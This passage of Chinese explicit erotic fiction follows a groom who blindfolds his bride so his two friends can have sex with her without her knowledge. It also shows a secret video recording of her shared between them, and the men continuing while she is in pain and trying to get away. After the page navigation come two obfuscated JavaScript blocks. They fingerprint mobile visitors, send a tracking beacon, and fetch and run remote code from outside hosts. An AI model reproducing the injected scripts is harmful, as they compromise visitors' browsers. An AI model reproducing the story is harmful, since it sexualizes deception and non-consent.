只听大勇说:“阿伟,那天我也看到袁雪银了,她真性感,我的肉棒一下就立起来了。”阿伟回答说:“是啊,不过袁雪银在床上那才叫带劲呢,我回家以后,看着袁雪银的录像带手淫了三次!”大勇对阿伟说:“你录的带子上的袁雪银的确够骚,现在想着我心里还有点发痒。”阿伟笑着说:“是啊,这可是我在花园饭店干了这么久,看到的最精彩的一盘真人秀哦!”我的脑袋轰地一下迅速充血,变得无法思考任何东西了。原来阿伟把那天袁雪银和五个男人群交的场面偷偷地录下来和大勇一起观赏!

(七)只听阿伟又说:“明天又可以看到穿婚纱的袁雪银了。喂,你在想什么?”大勇憧憬着感叹道:“要是可以亲一亲袁雪银性感的小嘴,我就知足了。”两人说着说着就聊起了我们当年一起读书时的一些趣事,我在黑暗中倾听,心里在痛苦地挣扎着。

他们两个和我可以说是一起穿开裆裤长大的死党,做朋友已经二十多年了,在我们都还未找女朋友之前,我们就发誓今后找到各自的老婆后,一定要做到妻子如衣服,朋友如手足。

在袁雪银认识我之后,他们在我的心目中仍然是与袁雪银不相上下的,特别在发现袁雪银的事情以后,他们对我的支持和帮助让我无比的感动。帮我准备婚礼这些天,阿伟和大勇忙前忙后,人都瘦了一圈,却还是笑呵呵的。

想到这些,又听到他们说起当年我们三人亲密无间的故事,我狠了狠心,决定在婚礼后让袁雪银满足他们的欲望!但要是袁雪银不同意呢?算了,算了,明天再说吧!我轻手轻脚地摸回床上又睡了。

早晨六点,我被他们叫醒,手忙脚乱地洗了澡,穿好衣服,等到我在楼下美发厅吹好头,已经八点半了。阿伟和大勇细心地帮我打扮好,看着我,笑着说:

“真是母猪变凤凰了,你小子还有点帅嘛!”我看着同样衣冠楚楚、风度不凡的他们,想着他们的内心是如此地迷恋我的爱妻袁雪银,强烈的自豪感让我挺起了胸膛。

九点正我们准时出发,婚车上面满是鲜花和红缎带,我这边的亲戚朋友分坐另五辆车跟在后面。

我们先要去接新娘,然后双方一起到我们举行婚礼的地方——银都酒店,我们将要在那里举办婚宴,婚宴完毕后我们就入洞房,洞房是酒店方面赠送的一晚豪华套房。

到了袁雪银家外,通过一道窄窄的门缝,她的闺中密友们在把我一帮兄弟的红包全部洗劫一清后,才放我们进了屋。

进去一看,几间房门都关着,袁雪银的一个死党让我猜袁雪银在哪间房,自己推门进去看,猜对了就接走,猜错了就发红包。我只能乱猜一气,连续推开几间房进去,都没人,结果只剩最后一间。

我苦笑着推开了门,袁雪银俏生生地背对着门站在那里,乌黑的秀发高高盘起着,身上穿着白色的婚纱裙,但是是那种裙摆曳地的传统款式。我带着稍稍的失望走到了她的身后,袁雪银慢慢转过身来,羞涩地低着头,我一把抱起她,在朋友们的喝彩声中,一口气冲到楼下,钻进了婚车。

到酒店以后,照例是站在餐厅门口欢迎接踵而至的亲朋好友们,接下来就是冗长的婚礼仪式,其实要不是袁雪银坚持要搞这些形式主义,我本来是想两个人出去旅游结婚,回来散糖了事的。

终于撑到开席,我们趁机休息了一下,然后就提着矿泉水假冒白酒在酒席间来回穿梭敬酒,在长达三个小时的你来我往、祝福感谢后,我和袁雪银这才一屁股坐下来开始吃饭。

接近晚上七点的时候,除了我朋友大勇和阿伟、袁雪银的密友雯雯和秋莎几个男女朋友外,其它的长辈、晚辈,甚至我和小琳都叫不出名的宾客们都全部离开了。

送走了双方父母,酒店领班把套房的钥匙给了我,朋友们便吵着要上去看洞房,于是大家就一窝蜂地上楼进了那间豪华套房。

房间很大,外面是一间很大的客厅,里边是一间更大的卧室,卧室旁边带卫生间,里面还有一个冲浪浴缸,酒店特意把这间套房装饰得非常温馨舒适,差不多有2米宽的大床让人看着就产生了无尽的遐想。

朋友们在客厅的沙发上、地上坐下以后,纷纷要求我和袁雪银表演所谓的成人节目,我和袁雪银还能怎么办呢?只好同意他们。谁知大勇和阿伟又带头叫嚣着让我和袁雪银先换掉这一身正儿八经的衣服才能开始表演。

我心想我无所谓,转过头看袁雪银,她的脸绯红,咬着嘴唇,摇着头朝我递眼色。

我看着阿伟和大勇期盼的神情,心中一动,笑着说:“好哇,你们等会。”说完,就把袁雪银拖进卧室,关上了门。

袁雪银等我一关门,就急切地问我:“怎么办?我准备的那套衣服不行啊!”“怎么不行?你看我的这套衣服就可以啊!你不是说你带的是另一套婚纱裙吗?”我把我自己准备的一套纯棉的宽松休闲衣裤拿给她看。

“我这一套婚纱裙是表姐从国外带回来的,好暴露哦!我本来只打算穿给你看的,再说一会儿也不知道要表演什么节目。”袁雪银皱着眉头说。

“你又不是裸体,怕什么?再说了,上次我们参加雯雯的婚礼,你看最后闹洞房的时候,人家夫妻最后只穿着内衣裤,有谁笑话他们?”我开导着袁雪银。

袁雪银犹豫了半天,终于点头同意了。我脱下新郎的礼服,穿上那套休闲服,等着袁雪银换衣服,她却要先洗个澡,我奇怪地把她看着,她只有向我解释说那套婚纱裙要配相应的内衣才行,她要先洗个澡再换新内衣。

我只有先等她了,当我站在卧室的落地窗前想着今天晚上如何才能让袁雪银满足我的朋友们时,袁雪银在身后问:“你看行不行?”(八)我转过身,看见我刚才圣洁的新娘已经变成了一个让任何男人想入非非的浪女。

袁雪银化了浓浓的晚妆,身上穿的是一条白色紧身的无领长窄裙,脚上是一双五寸高的白色高跟鞋。这条无领的裙子刚刚能遮住袁雪银的乳头,上半边乳房和深邃的乳沟一望无遗;而裙子的旁边开岔开到了大腿根部,雪白修直的玉腿在白色透明长统丝袜里若隐若现,从侧面可以轻易看到丝袜的蕾丝花边和半边臀部。

她转过身去,只见她柳腰以上的背部近乎全裸,中间只有两根细细的带子系着,从后面看,好像袁雪银没穿任何内衣。我吞咽了一下口水,问袁雪银:“你不是说要什么新内衣来配吗?在哪里?”袁雪银解释说:“这件裙子是不能穿文胸的。至于内裤嘛……”说着,轻轻地把裙子撩起来,原来由于开岔过高,袁雪银穿的是一条白色真丝的网眼丁字裤,后面也就是一根丝线陷在屁股沟里,而前面则是一块巴掌宽的白色网眼丝布紧紧地勒着袁雪银的阴部。

隔着这条内裤,整个阴部清晰可见。袁雪银的阴毛明显修剪过,很整齐地从网眼里钻出,可能是刚刚洗了澡,两片阴唇带着神秘诱人的红色。我咽着口水说:

“袁雪银,你这样子的确非常性感。”袁雪银看着我的色狼模样,忽然想起了什么,对我说:“那我加上这些可能要好些。”说完,就戴上了一双长到手臂的白色丝质网眼手套,又在脖子上戴了一串白金项链。谁知这样一来,袁雪银的性感撩人并没有减弱,反而还增加了一些高贵的气质,让我心跳加剧。

看到如此高贵性感的袁雪银,我的阴茎正在裤子里慢慢地抬起头,心中暗喜之下,连连宽慰袁雪银,把卧室们打开,搂着她的肩膀走了出去。

大家瞬间鸦雀无声,目不转睛地盯着袁雪银看,直到我们走到他们面前,才回过神哇哇大叫起来。

袁雪银的脸蛋涨得通红,害羞地用手遮着脸钻进了雯雯和秋莎身边,可她们却又恶作剧地把袁雪银推向了大勇和阿伟怀里,他们俩同时伸出了手,似乎想扶住袁雪银迎面冲过来的身体,可我却看到阿伟和大勇的手直接放在袁雪银半遮半掩的玉乳上,袁雪银胸前两团软绵绵的肉球被他们两只大手紧紧捏着。

她手忙脚乱地伸手乱抓,想找个支撑点脱离这两只魔爪,没想到自己的双手却刚好抓在阿伟和大勇裤裆的隆起部分,袁雪银用力一握,只感觉到手中的两根肉棒又硬又粗,而且好像还在强烈地脉动着,她以前从未见过这么凶猛的肉棒。

袁雪银吓了一跳,忘了松手。

阿伟和大勇低头看着袁雪银戴着白色丝质手套的小手紧紧地握着自己的肉棒,彷佛忘了挣脱。过了几秒钟,我才回过神来,赶忙上前把袁雪银扶了起来,袁雪银的脸比她涂了亮丽口红的嘴唇还要红,眼泪都快要流出来了,四个意识到做了错事的男女尴尬地看着我们。

袁雪银靠着我,我从上往下看去,她的裙子由于刚才挣扎了一下,身后的两根细带子可能也拴得不紧,裙子的上部已经快包不住小琳的乳头了,这时袁雪银也发现了,赶紧把裙子向上提了提,又把后面的带子紧了紧。

我朝雯雯和秋莎使了个眼色,她们会心地上来安慰着袁雪银,给她说着笑话,还说很羡慕袁雪银的性感引力把阿伟和大勇弄得神魂颠倒的。袁雪银听了这些甜言蜜语,总算不生气了,还偷偷地瞟了阿伟和大勇一眼,我惊讶地发现那眼光好像并非怨恨而是有些说不出的味道。

我暗想:有戏!看来袁雪银的淫荡本性并没有改变,毕竟是同时享受过五个男人的啊!于是就拉过秋莎说:“我看今晚的节目恐怕不能表演了,改天吧,免得大家都很尴尬,一会不知道怎么收场。”秋莎点了点头,便拖着雯雯向袁雪银和我告辞,袁雪银送她们去坐电梯。阿伟和大勇见状,也很不甘心地站起来要走,我看着三个女人走出了房门,赶紧按着他们,小声地对他们说:“大家兄弟一场,我不会忘记我们手足和衣服的誓言,一会儿注意要对袁雪银温柔些,你们的大鸡巴我是知道的。”阿伟和大勇难以置信地看着我,我拍了拍他们的肩膀,吩咐说:“你们先去卧室藏起来,快点。”两人似乎没做什么思想斗争就像火箭一样跳起来蹿进了卧室。

这时,袁雪银也回来了,关上门问:“咦,他们俩呢?”“已经走了。怎么,想他们了?”我嬉皮笑脸地回答。

“他们已经走了?我怎么在电梯间没看到呢?”袁雪银噘着嘴说。

我看她好像蛮失望的样子,笑着说:“那要不要我把他们叫回来陪你啊?”她像头温顺的小猫一样抱着我撒娇:“算了,今天是我和你的洞房夜嘛!”我一听,心想:你这个小荡妇的言下之意就是说改天还是可以的喽!

她调皮地用手在我的裆部摸了一下,然后冲我挤了挤眼,转身朝卧室跑去。

我把客厅的灯关掉,尾随着袁雪银进了卧室。

我进了卧室,反手把卧室的门和大吊灯关了,只留下了床头的两盏小台灯,袁雪银故做矜持地站在落地窗前看着外面的都市夜景,在室内昏黄的灯光照映下,一身雪白的她更加性感迷人。

我轻轻地打开衣柜,找到她白天穿的婚纱裙,从中抽出了一条装饰用的白色丝绸手巾,走到袁雪银的身后。

袁雪银听到了我的脚步声,早就欲火难捺的她转身就抱住我,眼睛里闪着欲望的光芒。

我在她耳边柔声地说:“亲爱的,我们今晚换个花样,来,我用这丝巾把你的眼睛幪上,书上说这样双方会有不一样的感受哦!”袁雪银不知是计,顺从地让我用白丝巾把她美丽的双眼幪上,我在她的脑后把丝巾打了个死结,就抱起她轻轻地放在了大床上。

(九)这时,一直藏在浴室里的阿伟和大勇略显紧张地走了出来,站在床边看着我们。

我温柔地拿掉袁雪银的高跟鞋,解开袁雪银背后婚纱裙的带子和脖子上的项链,然后慢慢地把裙子从她的身上脱了下来。这样,躺在床上的袁雪银上身完全赤裸,除了一双手套,而下身只穿着白色的真丝丁字裤和白色的长统透明丝袜,像一头即将被三只饿狼宰割的小绵羊。

我的手在袁雪银平坦的小腹上慢慢摩挲着,我很清楚这里是她的敏感区域。我的努力没有白费,袁雪银的眼睛幪着丝巾,不知情地在阿伟和大勇面前风骚地伸着舌头舔着红唇,轻声地喘息着,敏感的乳头也竟然在慢慢地发硬,顽皮地站了起来。

看到袁雪银逐渐地堕入了情欲的天堂,我朝已经红了眼的阿伟和大勇点点头,我们三人便都脱了个一干二净。他们忍受着下体和裤子的摩擦,像两条泥鳅一样爬上床,跪在袁雪银的两边,我也从床尾摸上了床,跪在袁雪银的脚旁。阿伟和大勇用询问的眼神看着我,我示意他们稍微等一下。

我抱起袁雪银的两只腿放在肩膀上,埋头用舌尖轻轻扫着她的大腿内侧,从膝盖一直扫到大腿根部,我来回地舔,就是不去碰袁雪银内裤前面已经湿了一小块的幽谷。

她在我耐心的挑逗下,有点迫不及待地动着下身寻找我的舌头。我一边躲避一边继续轻轻舔着,直到袁雪银忍不住呻吟道:“快,快点舔我……哦……我要你用舌头……快点……咬我的阴唇……”我轻轻拨开内裤,里面已经是汪洋一片了,而且淫水还在不停地从阴户里涌出,今晚的袁雪银特别兴奋,可能和刚才抓到两位帅哥的肉棒有关吧!我张开嘴,伸出舌头贪婪地把黏液一扫而光,这些液体有着一股袁雪银特有的味道。

我吸得兴起,一把扯下了袁雪银的丁字裤,像条狗一样疯狂地啜食着袁雪银的阴唇,每舔一下,袁雪银的阴户便有节奏地收缩一下,而袁雪银的嘴里也不停地发出淫声浪语:“哼……啊……好舒服……我爱你的舌头……快点……哦……啊……我好痒……继续……不要停……”袁雪银的乳头红得像要滴出血来,微微颤动着,她忽然伸出了双手揉捏着自己的乳房,我用手指代替了舌头,拨弄着袁雪银肥厚的阴唇,抬起头问她:“需不需要我含住你的乳头?”袁雪银在我灵活的手指动作下,唿吸急促地答道:“需要,快点来含吧……我好痒……哦……啊……我还要……还要握住你的大棒子……”咫尺之近的阿伟和大勇已经无法再忍受了,不约而同地埋下头,一人一边紧紧含住袁雪银的乳头,两只大手搓揉着白皙丰满的乳房。

袁雪银的身子一震,红唇里吐出了一声惊唿,阿伟和大勇当然不会就这样半途而废,灵巧的舌头上下挑弄着乳头,手上也更加用力地揉搓,我当然也很配合地用右手中指在袁雪银淫水肆虐的小穴里转圈,而左手食指则试探着袁雪银的菊门。

我们的手、舌头越动越快,袁雪银扭着身子,忘乎所以地呻吟着,两手紧紧地抓着床单。终于,袁雪银全身一阵痉挛,“啊”的一声达到了高潮,淫液从阴户里不断地流出。

被高潮冲昏了头的袁雪银不由自主地伸出戴着白色丝质网眼手套的双手向左右胡乱摸着,不料刚好一手一只,把阿伟和大勇的七寸怒棒握了个正着。袁雪银今晚已经是第二次握住这两只庞然大物了,一捏之下,袁雪银立刻知道是他们俩了。

可能考虑到我还在旁边,袁雪银赶快松开了手。

我见状,便鼓励袁雪银道:“来吧,让我们三个一起满足你吧,你不是很喜欢多人群交的吗?好久没有被三根大棒子一起插了吧?”袁雪银在我的鼓励下,终于放下了心,暴露出淫荡本性,摸索着重新又握住两根又粗又长的肉棒,上下套弄着,还不时地伸出手指,用手套上的网眼在两人的龟头和马眼上摩擦着。

我看着眼前我的新娘和老友做爱的场面,也兴奋地用两根手指在袁雪银的阴道里进进出出,袁雪银似乎嫌我的手指动得不够快、不够深,自己抬起了屁股前后快速地迎合着我手指的进出。

阿伟和大勇在袁雪银双手的套弄下,舒服地呻吟起来,什么都不做,直直地跪在那里享受着。袁雪银虽然眼睛被幪着,但却能听到两人的呻吟声,于是像胜利者一样更加卖力地揉搓着手上的两根大肉棒。

我看到他们两人无比享受的样子,心里痒痒的,便盘腿坐下,端起袁雪银的两只小脚夹住我坚硬的肉棒。

袁雪银很懂事地用两只脚板像手一样地上下套弄着我的阴茎,透明的白色丝袜里可以清晰地看见袁雪银那涂了紫色指甲油的脚趾,我一边干着袁雪银的小脚,一边用手摸着袁雪银有着曼妙曲线的小腿。

袁雪银全身赤裸着,四肢同时玩弄着三根肉棒,手上白色的手套和腿上白色的长统丝袜与三根黝黑发亮的肉棒形成鲜明的对比。在感受着阴茎所传来的阵阵快感的同时,视觉上也给我们以极大的冲击,我也难以自制地加入了阿伟和大勇的呻吟声中。

可能是脚比较笨拙的原因,我觉得袁雪银把我夹得有点痛了,于是便抽出了阴茎,绕到袁雪银的嘴边,把她的头扳过来,挺着肉棒就朝袁雪银的小嘴里插了进去。

袁雪银躺在枕头上,不好用力,只有任凭我前前后后地干着她的嘴,阿伟和大勇也伸出手指捏着袁雪银的乳头。

袁雪银的舌头飞快地绕着我的龟头和马眼打着转,传来一阵阵酥美的畅快感,我忍不住加快了抽插的频率。

过了一会儿,我觉得下身一阵酸麻,屁股夹了夹,一股又一股的浓稠精液便射进了袁雪银的嘴巴里,然后把半软的阴茎从袁雪银的嘴里抽了出来,坐到一边,看着他们三人的表演。

(十)袁雪银费力地把精液全部吞咽下去,又伸出舌头把嘴边的残余液体舔了个干干净净。精液的味道让刚刚经历过高潮的袁雪银再度燃起了欲望,修长的美腿不停地交缠着,右手握着大勇的肉棒,慢慢地拉向自己的下身,而左手则把阿伟的肉棒扯到嘴边。

阿伟顺势把粗大的阴茎放在袁雪银的唇边,袁雪银伸出潮湿的舌头吸吮、亲吻着阿伟的肉棒,还把整个阴囊含在嘴里抚慰;而大勇的肉棒则在湿滑的花瓣上巡弋着,直到龟头被蜜汁润泽得发亮的时候,他便掰开袁雪银的双腿,挺腰一送,“噗嗤”一声,七寸长的阴茎直没根部,袁雪银想叫出声来却又受制于塞在嘴里的粗壮肉棒,只能发出含混的“唔……唔……”声音。

袁雪银的左手玩弄着阿伟来回晃荡的睾丸,右手则探到下身摸着大勇和自己的交合处,口水和淫水浸湿了洁白的手套。

阿伟和大勇看着自己的肉棒被袁雪银的嘴和阴户温暖地包裹着,真不敢相信他们的愿望居然变成了现实,激动地摆动着腰部,卖力地抽插着袁雪银。三条蠕动着的肉虫和肉体撞击的“啪啪”声,让我的洞房变成了淫欲的世界。

袁雪银用双腿紧紧地勾着大勇的腰部,使他每下插入都能直达阴道尽头;嘴则张到最大,把眼前大勇的肉棒尽量地吞到底,直至嘴唇碰到他的阴囊才肯罢休。

阿伟和大勇由于快感的刺激,对袁雪银肉体的冲撞也越来越强烈,本已异乎寻常的两根大肉棒,这时勃起得又硬又红,变得更粗更长,连青筋都凸起了。袁雪银在努力地吸吮口中肉棒的同时,小穴也在拼命地收缩,彷佛要将插入自己下身的那条烧火棒夹断一样。

经验丰富的阿伟和大勇当然不会这么容易就让袁雪银弄到泄精,他们将视线移向天花板,把抽插的频率稍稍减慢,每次插到底时,腰部都转着圈,研磨着袁雪银的口腔和阴道最深处,然后再抽出。这样,在这场特殊的战争中,两人又占了上风,只可怜了脸涨得通红的袁雪银,阿伟的肉棒几乎每次都插到了喉咙,袁雪银连唿吸都不顺畅了。

阿伟看到袁雪银被插得几乎要窒息了,赶紧抽出了湿淋淋的肉棒,朝大勇递了个眼色,大勇便将袁雪银抱进自己的怀里,然后躺了下去,袁雪银趴在大勇身上,双腿紧紧夹住大勇的腰,手臂搂住大勇的脖子,而菊花蕾则暴露在了阿伟的面前。

阿伟提着被袁雪银吸吮得湿乎乎的肉棒顶住了菊花蕾,并一点一点地慢慢插进因为紧张而强烈收缩的肠壁,随着菊门的逐渐扩张,阿伟的大肉棒终于完全地插进了袁雪银的屁眼里,并且缓慢地抽动着。

隔着薄薄一层黏膜的两根肉棒在袁雪银的阴户和肠道里抽插着,巨大的龟头无情地摩擦四壁的嫩肉,袁雪银的意识也在男人肉棒的穿刺下已经逐渐融化了,她忘情地呻吟着:“求求你们……哦……插死我吧……啊……”袁雪银的嘴巴微张着,嘴角挂着丝一样的口水,疯狂地甩着自己的头,汗珠四溅。阿伟和大勇像是要把袁雪银活生生地插穿一样,紧紧抓着袁雪银的细腰和大腿,将所有的力量尽数贯注在肉棒上,一下狠似一下地抽插着。

袁雪银似乎已经陷入了一种恍惚的状态,全身的肌肉都已经绷紧。很快地,浑身颤抖着到了高潮,无力地倒在大勇的肩膀上,阴户里流出大量的淫液在三人的交合处泛滥着,额头流下的汗把眼睛上幪着的丝巾也打湿了。

阿伟和大勇并没有把肉棒拔出来,仍留在里面享受着袁雪银有节奏的收缩。过了半天,袁雪银才恢复神智,可她发现自己的阴户和屁眼里仍然各有一根坚硬如铁的肉棒在脉动着,她惊慌地想逃避,却被阿伟从后拦腰抱着,大勇躺在下面,双手紧抓着袁雪银的大腿,令她无法动弹。

两人见袁雪银苏醒过来,于是便又再开始了新一轮的抽插,袁雪银的淫水刚刚流干,被肉棒插得生痛,却没有任何办法,只好皱着眉头,咬着嘴唇说:“喔……轻点……慢点……好痛……”阿伟和大勇不愧是被女人淫水泡大的,两人很有经验地停留在里面,用手有节奏地刺激着袁雪银的乳头和阴蒂等敏感带,面向袁雪银的大勇温柔地含着袁雪银的香舌,背后的阿伟轻吻着袁雪银的脖子。我惊讶两人是如此的耐心温柔。

袁雪银渐渐地又有了感觉,一边喘息,一边缓缓地挪动插着两根肉棒的下身,淫荡的阴户和屁眼里又分泌出了淫液。阿伟和大勇仍然像情人般地爱抚着袁雪银光滑的肌肤,大勇双手紧紧握着袁雪银的乳房,手指在乳头上打着转,阿伟的右手有节奏地上下拨弄着袁雪银的阴蒂。

袁雪银下身挪动的幅度越来越大,脸上的神情惊喜得彷佛体内的两根肉棒越长越大一样。过了不久,袁雪银的挪动变成了主动,她上下套弄着肉棒,还淫荡地浪叫着:“你们快点动啊……好舒服……哦……啊……好粗……好硬……好热……喔……真好……大鸡巴真好……”阿伟和大勇互递了一个眼色,开始用肉棒在洞里转着圈,加上袁雪银自己上下套弄,成了螺旋般上下抽插。

刚刚高潮过的袁雪银被刺激得又失了神,秀发飞扬,用自己的肉洞狠狠地上下套弄着这两根肉棒,好像要将其磨成绣花针一样。

过了十分钟左右,袁雪银紧紧地抓着大勇的肩,腰往上挺起,大叫道:“不行了……哦……啊……我要泄了……不行了……要泄……了!”阿伟和大勇见状趁热打铁地大力抽送,两根硬梆梆的大肉棒在袁雪银下体一前一后飞快地轮流进出,直到袁雪银阴户和屁眼一阵狂乱地收缩,将阴精喷泄出后,整个人就软绵绵地倒了下去,两人这才抽出肉棒,居然还是坚挺无比!

等到袁雪银苏醒过来后,阿伟和大勇又再继续玩激烈的人肉三明治,一直到袁雪银第五次被插得昏死了过去,两人才分别在袁雪银的阴道和屁眼里射出精液。精液量非常多,而且袁雪银已被他们两人干得近乎虚脱,阴道和屁眼被插得根本无法合拢,以至于流出的精液把袁雪银的白色丝袜染成了黄色。

看着袁雪银松弛的小穴和后门汩汩流出两人的精液,我像看天神般地看着阿伟和大勇,他们足足干了袁雪银近两个小时才射精,而这之间我都已经手淫了三次。

他们两人和小琳一样,无力地躺在床上,三人的汗水和体液把床单全部打湿了。

袁雪银一直在昏迷状态,我很担心地摸了一下她手腕上的脉搏,还好,只是有些快。她昨晚玩得非常疯狂,我想一是因为阿伟和大勇的神勇,二可能就是她的眼睛被幪上,在看不到性交对手的情况下,刺激真的要大些。

阿伟和大勇有气无力地坐起来,点上了所谓的事后一根烟,两人的脸上写着无尽的疲惫和满足。阿伟冲我笑了笑,指着他的裤子,我走过去在他的裤袋里发现了壮阳药的盒子!

“原来如此,害得我在那里自卑半天。”我拿着盒子在他们面前晃。

他们为了避免新娘子醒来以后大家尴尬,于是互相扶着离开了。

(十一、最终节)过了很久,袁雪银慢慢地醒过来了,她无意识地摸着自己肿胀的阴唇和满是精液的阴户和屁眼,很快,白色的手套和丝袜一样也变成了黄色,上面全是丝丝的精液。

她似乎还没有从刚才的狂欢中清醒过来,伸出舌头把沾在手上的一沱沱阿伟和大勇的黏稠精液舔得干干


上一篇:欢喜缘

下一篇:草原的月亮有了心上人(09)


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};